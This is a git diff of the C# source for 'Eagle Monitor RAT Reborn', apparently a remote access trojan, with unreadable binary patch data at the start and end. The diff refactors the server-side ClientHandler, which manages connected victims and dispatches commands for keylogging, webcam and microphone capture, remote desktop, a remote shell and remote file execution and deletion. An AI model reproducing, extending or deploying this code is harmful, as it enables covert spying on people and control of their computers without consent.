z5z*zq+&o6L)&Av}bX!ICV#`N17kf7MY>%

p%&q9lj1HK?wKqMp{A70Ds_uxsT*8 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 literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs index fb7a6349..cb533d8c 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs @@ -202,8 +202,7 @@ internal static void StartServers() { new Thread(() => { - ServerHandler s = new ServerHandler(); - s.Listen(p); + new ServerHandler(p); }).Start(); } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs index 779d3a39..cdaaa91a 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs @@ -18,76 +18,76 @@ namespace Eagle_Monitor_RAT_Reborn.Network { internal class ClientHandler : IDisposable { + static ClientHandler() + { + ClientHandlersList = new Dictionary(); + readDataAsync = new ReadDataAsync(ReceiveData); + parsePacketAsync = new ParsePacketAsync(ParsePacket); + sendDataAsync = new SendDataAsync(SendData); + } + internal static Dictionary ClientHandlersList { get; set; } internal static int CurrentClientsNumber { get { return ClientHandlersList.Count; } } + private static readonly ReadDataAsync readDataAsync; + private static readonly ParsePacketAsync parsePacketAsync; + private static readonly SendDataAsync sendDataAsync; + + private delegate byte[] ReadDataAsync(ClientHandler clientHandler); + private delegate IPacket ParsePacketAsync(byte[] BufferPacket); + private delegate IPacket SendDataAsync(ClientHandler clientHandler, IPacket data); + internal static void SendPacketToMultipleClients(IPacket packet) { foreach (DataGridViewRow dataGridViewRow in Program.mainForm.clientDataGridView.SelectedRows) { - string IP = dataGridViewRow.Cells[2].Value.ToString(); - ClientHandler.ClientHandlersList[IP].SendPacket(packet); + StartSendData(ClientHandler.ClientHandlersList[dataGridViewRow.Cells[2].Value.ToString()], packet); } } - static ClientHandler() - { - ClientHandlersList = new Dictionary(); - } - - - internal delegate byte[] ReadDataAsync(); - internal delegate IPacket ReadPacketAsync(byte[] BufferPacket); - internal delegate IPacket SendDataAsync(IPacket data); - - private readonly ReadDataAsync readDataAsync; - private readonly ReadPacketAsync readPacketAsync; - internal readonly SendDataAsync sendDataAsync; - - internal Socket socket { get; set; } + #region "Non Static" + internal Socket Socket { get; set; } internal string IP { get; set; } internal string HWID { get; set; } - internal string fullName { get; set; } - internal DataGridViewRow clientRow { get; set; } - internal int serverPort { get; set; } - internal string clientPath { get; set; } - internal string clientStatus { get; set; } - internal bool is64bitClient { get; set; } - internal bool isAdmin { get; set; } - internal EncryptionInformation encryptionInformation { get; set; } - - internal ClientForm clientForm { get; set; } - internal long totalBytesReceived { get; set; } - internal long totalBytesSent { get; set; } - - internal ClientHandler(Socket sock, int port) + internal string FullName { get; set; } + internal DataGridViewRow ClientRow { get; set; } + internal int ServerPort { get; set; } + internal string ClientPath { get; set; } + internal string ClientStatus { get; set; } + internal bool Is64bitClient { get; set; } + internal bool IsAdmin { get; set; } + internal EncryptionInformation EncryptionInformation { get; set; } + + internal ClientForm ClientForm { get; set; } + internal long TotalBytesReceived { get; set; } + internal long TotalBytesSent { get; set; } + + internal ClientHandler(Socket sock, int port) : base() { - readDataAsync = new ReadDataAsync(ReceiveData); - readPacketAsync = new ReadPacketAsync(PacketParser); - sendDataAsync = new SendDataAsync(SendData); - this.socket = sock; - this.IP = socket.RemoteEndPoint.ToString(); - this.serverPort = port; - Receive(); + this.Socket = sock; + this.IP = Socket.RemoteEndPoint.ToString(); + this.ServerPort = port; + StartReceiveData(this); } - - internal void Receive() + #endregion + #region "Receive" + private static void StartReceiveData(ClientHandler clientHandler) { - if (socket != null) - readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); + if (clientHandler.Socket != null) + readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceiveData), clientHandler); else return; } - private byte[] ReceiveData() + private static byte[] ReceiveData(ClientHandler clientHandler) { try { int total = 0; int recv; byte[] header = new byte[5]; - socket.Poll(-1, SelectMode.SelectRead); - recv = socket.Receive(header, 0, 5, 0); + clientHandler.Socket.Poll(-1, SelectMode.SelectRead); + recv = clientHandler.Socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; @@ -96,7 +96,7 @@ private byte[] ReceiveData() byte[] data = new byte[size]; while (total < size) { - recv = socket.Receive(data, total, dataleft, 0); + recv = clientHandler.Socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } @@ -104,111 +104,166 @@ private byte[] ReceiveData() } catch (Exception ex) { - SocketException sockError = ex as SocketException; - if (sockError != null) - this.Dispose(); + if (ex is SocketException) + clientHandler.Dispose(); return null; + /*SocketException sockError = ex as SocketException; + if (sockError != null) + clientHandler.Dispose(); + return null;*/ } } - private void EndDataRead(IAsyncResult ar) + private static void EndReceiveData(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; if (data != null && data.Length > 0) - readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); + StartParsePacket(data, clientHandler); - if (socket != null) - Receive(); + if (clientHandler.Socket != null) + StartReceiveData(clientHandler); + } + #endregion + #region "Parser" + private static void StartParsePacket(byte[] data, ClientHandler clientHandler) + { + parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler); } - private IPacket PacketParser(byte[] BufferPacket) + private static IPacket ParsePacket(byte[] BufferPacket) { IPacket packet = BufferPacket.DeserializePacket(Program.settings.key); - packet.packetSize = BufferPacket.Length; + packet.PacketSize = BufferPacket.Length; return packet; } - private void EndPacketRead(IAsyncResult ar) + private static void EndParsePacket(IAsyncResult ar) { - IPacket packet = readPacketAsync.EndInvoke(ar); - + IPacket packet = parsePacketAsync.EndInvoke(ar); + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; + /* if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//!!! if password recovery tasks and similar + {*/ if (packet != null) { - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.CONNECTED: lock (ClientHandlersList) { - ClientHandlersList.Add(this.IP, this); + ClientHandlersList.Add(clientHandler.IP, clientHandler); + Controls.Utils.SetTotalClients(); } - new PacketHandler(packet, this); + //new PacketHandler(packet, this); + PacketHandler.StartHandlePacket(packet, clientHandler); break; case PacketType.RM_VIEW_ON: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//we could even receive packet after closing form + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; case PacketType.RC_CAPTURE_ON: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; case PacketType.AUDIO_RECORD_ON: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; case PacketType.KEYLOG_ON: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } + //new PacketHandler(packet, this); break; case PacketType.FM_DOWNLOAD_FILE: - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + PacketHandler.StartHandlePacket(packet, clientHandler); + } + // new PacketHandler(packet, this); break; case PacketType.CHAT_ON: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; case PacketType.SHELL_START: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; case PacketType.SHELL_COMMAND: - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler = this; - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.clientHandler.HWID = packet.HWID; - new PacketHandler(packet, this); + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID; + PacketHandler.StartHandlePacket(packet, clientHandler); + } break; default: - new PacketHandler(packet, ClientHandler.ClientHandlersList[packet.baseIp]); - this.Dispose(); + PacketHandler.StartHandlePacket(packet, ClientHandler.ClientHandlersList[packet.BaseIp]); + clientHandler.Dispose(); break; } } } - - internal void SendPacket(IPacket packet) + #endregion + #region "Send" + internal static void StartSendData(ClientHandler clientHandler, IPacket packet) { - packet.HWID = this.HWID; - if(packet.packetType != PacketType.RM_VIEW_OFF && packet.packetType != PacketType.RC_CAPTURE_OFF && packet.packetType != PacketType.AUDIO_RECORD_OFF && packet.packetType != PacketType.KEYLOG_OFF && packet.packetType != PacketType.CHAT_OFF && packet.packetType != PacketType.SHELL_STOP) - packet.baseIp = this.IP; - - if (socket != null) - sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); + packet.HWID = clientHandler.HWID; + if( packet.PacketType != PacketType.RM_VIEW_OFF + && packet.PacketType != PacketType.RM_VIEW_ON + && packet.PacketType != PacketType.RM_MOUSE + && packet.PacketType != PacketType.RM_KEYBOARD + && packet.PacketType != PacketType.RC_CAPTURE_OFF + && packet.PacketType != PacketType.RC_CAPTURE_ON + && packet.PacketType != PacketType.AUDIO_RECORD_OFF + && packet.PacketType != PacketType.AUDIO_RECORD_ON + && packet.PacketType != PacketType.KEYLOG_OFF + && packet.PacketType != PacketType.KEYLOG_ON + && packet.PacketType != PacketType.CHAT_OFF + && packet.PacketType != PacketType.CHAT_ON + && packet.PacketType != PacketType.SHELL_STOP + && packet.PacketType != PacketType.SHELL_COMMAND + ) + packet.BaseIp = clientHandler.IP; + + if (clientHandler.Socket != null) + sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendData), clientHandler); } - private IPacket SendData(IPacket data) + private static IPacket SendData(ClientHandler clientHandler, IPacket data) { byte[] encryptedData = data.SerializePacket(Program.settings.key); @@ -218,20 +273,20 @@ private IPacket SendData(IPacket data) byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); - data.packetSize = size; + data.PacketSize = size; header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; - lock (socket) + lock (clientHandler.Socket) { try { - socket.Poll(-1, SelectMode.SelectWrite); - int sent = socket.Send(header); + clientHandler.Socket.Poll(-1, SelectMode.SelectWrite); + int sent = clientHandler.Socket.Send(header); if (size > 1000000) { @@ -242,7 +297,7 @@ private IPacket SendData(IPacket data) byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - socket.Send(chunk, 0, read, SocketFlags.None); + clientHandler.Socket.Send(chunk, 0, read, SocketFlags.None); } } } @@ -250,199 +305,185 @@ private IPacket SendData(IPacket data) { while (total < size) { - sent = socket.Send(encryptedData, total, size, SocketFlags.None); + sent = clientHandler.Socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } - data.packetState = PacketState.SENT; - + data.PacketState = PacketState.SENT; } catch (Exception ex) { - data.packetState = PacketState.NOT_SENT; - data.status = ex.Message; - SocketException sockError = ex as SocketException; - if (sockError != null) - this.Dispose(); + data.PacketState = PacketState.NOT_SENT; + data.Status = ex.Message; + if (ex is SocketException) + clientHandler.Dispose(); + /* data.packetState = PacketState.NOT_SENT; + data.status = ex.Message; + SocketException sockError = ex as SocketException; + if (sockError != null) + clientHandler.Dispose();*/ } } return data; } - private void SendDataCompleted(IAsyncResult ar) + private static void EndSendData(IAsyncResult ar) { IPacket packet = sendDataAsync.EndInvoke(ar); + ClientHandler clientHandler = (ClientHandler)ar.AsyncState; + IAsyncResult result; - packet.datePacketStatus = DateTime.Now.ToString(); - - string size = Misc.Utils.Numeric2Bytes(packet.packetSize); - - IAsyncResult result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => - { - int rowId = Program.mainForm.logsDataGridView.Rows.Add(); - DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; - row.Cells["Column11"].Value = packet.HWID; - row.Cells["Column12"].Value = packet.baseIp; - row.Cells["Column13"].Value = packet.packetType.ToString(); - row.Cells["Column14"].Style.ForeColor = Color.FromArgb(66, 182, 245); - row.Cells["Column14"].Value = packet.packetState; - row.Cells["Column15"].Value = packet.datePacketStatus; - row.Cells["Column17"].Value = size; - - if (packet.packetState == PacketState.NOT_SENT) - { - row.Cells["Column16"].Value = packet.status; - return; - } - else - { - switch (packet.packetType) - { - case PacketType.FM_DOWNLOAD_FILE: - row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; - break; - - case PacketType.FM_DELETE_FILE: - row.Cells["Column16"].Value = ((DeleteFilePacket)packet).path; - break; - - case PacketType.FM_START_FILE: - row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; - break; - - case PacketType.FM_GET_FILES_AND_DIRS: - row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; - break; - } - } - Program.mainForm.logsDataGridView.ClearSelection(); - Program.mainForm.logsDataGridView.CurrentCell = null; + packet.DatePacketStatus = DateTime.Now.ToString(); - })); - Program.mainForm.logsDataGridView.EndInvoke(result); + string size = Misc.Utils.Numeric2Bytes(packet.PacketSize); - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.RM_VIEW_OFF: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteDesktopHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler = null; } break; case PacketType.RC_CAPTURE_OFF: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler = null; } break; case PacketType.AUDIO_RECORD_OFF: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler = null; } break; case PacketType.KEYLOG_OFF: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler = null; } break; case PacketType.CHAT_OFF: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler = null; } break; case PacketType.SHELL_STOP: - lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler) + lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.Dispose(); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler = null; + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.Dispose(); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler = null; } break; + } - case PacketType.RM_MOUSE: - break; - - case PacketType.RM_KEYBOARD: - break; - - case PacketType.CHAT_ON: - break; + if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null + && packet.PacketType != PacketType.CLOSE_CLIENT + && packet.PacketType != PacketType.UNINSTALL_CLOSE_CLIENT) + { - case PacketType.AUDIO_RECORD_ON: - break; + try//Label deleted when closin form + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Invoke((Action)(() => + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Text = $"Bytes sent : {size}"; + })); + } + catch {} + } - case PacketType.KEYLOG_ON: - break; + #region "Logs" + result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => + { + int rowId = Program.mainForm.logsDataGridView.Rows.Add(); + DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; + row.Cells["Column11"].Value = packet.HWID; + row.Cells["Column12"].Value = packet.BaseIp; + row.Cells["Column13"].Value = packet.PacketType.ToString(); + row.Cells["Column14"].Style.ForeColor = Color.FromArgb(66, 182, 245); + row.Cells["Column14"].Value = packet.PacketState; + row.Cells["Column15"].Value = packet.DatePacketStatus; + row.Cells["Column17"].Value = size; - case PacketType.RC_CAPTURE_ON: - break; + if (packet.PacketState == PacketState.NOT_SENT) + { + row.Cells["Column16"].Value = packet.Status; + return; + } + else + { + switch (packet.PacketType) + { + case PacketType.FM_DOWNLOAD_FILE: + row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; + break; - case PacketType.RM_VIEW_ON: - break; + case PacketType.FM_DELETE_FILE: + row.Cells["Column16"].Value = ((DeleteFilePacket)packet).path; + break; - case PacketType.SHELL_START: - break; + case PacketType.FM_START_FILE: + row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; + break; - case PacketType.SHELL_COMMAND: - break; + case PacketType.FM_GET_FILES_AND_DIRS: + row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; + break; - default: - if (ClientHandler.ClientHandlersList[packet.baseIp].clientForm != null && packet.packetType != PacketType.CLOSE_CLIENT && packet.packetType != PacketType.UNINSTALL_CLOSE_CLIENT) - { - result = ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.BeginInvoke((Action)(() => - { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.Text = $"Bytes sent : {size}"; - })); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.EndInvoke(result); + case PacketType.SHELL_COMMAND: + row.Cells["Column16"].Value = ((NewCommandShellSessionPacket)packet).shellCommand; + break; } - break; - } + } + Program.mainForm.logsDataGridView.ClearSelection(); + Program.mainForm.logsDataGridView.CurrentCell = null; + + })); + Program.mainForm.logsDataGridView.EndInvoke(result); + #endregion packet = null; } - + #endregion + #region "Cleaning Memory" public void Dispose() { - if (socket != null) - { - socket.Shutdown(SocketShutdown.Both); - socket.Close(); - socket.Dispose(); - socket = null; - } + Socket?.Shutdown(SocketShutdown.Both); + Socket?.Close(); + Socket?.Dispose(); + Socket = null; if (ClientHandlersList.ContainsKey(this.IP)) ClientHandlersList.Remove(this.IP); - if (this.clientRow != null) + Controls.Utils.SetTotalClients(); + + if (this.ClientRow != null) { lock (Program.mainForm.clientDataGridView) { - Program.mainForm.clientDataGridView.BeginInvoke((MethodInvoker)(() => + Program.mainForm.clientDataGridView.Invoke((MethodInvoker)(() => { - Program.mainForm.clientDataGridView.Rows.Remove(this.clientRow); - Controls.Utils.CloseForm(this.clientForm); - /*foreach (KeyValuePair file in downloadForms) - { - file.Value.clientHandler.Dispose(); - file.Value.Close(); - } - downloadForms.Clear();*/ + Program.mainForm.clientDataGridView.Rows.Remove(this.ClientRow); })); } + Controls.Utils.CloseForm(this.ClientForm); + this.ClientForm?.Dispose(); + this.ClientForm = null; + GC.SuppressFinalize(this); } Miscellaneous.CleanMemory(); } + #endregion } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip new file mode 100644 index 0000000000000000000000000000000000000000..9e462f95e15b5b9ff48efa0644d5de8879971b3e GIT binary patch literal 6547 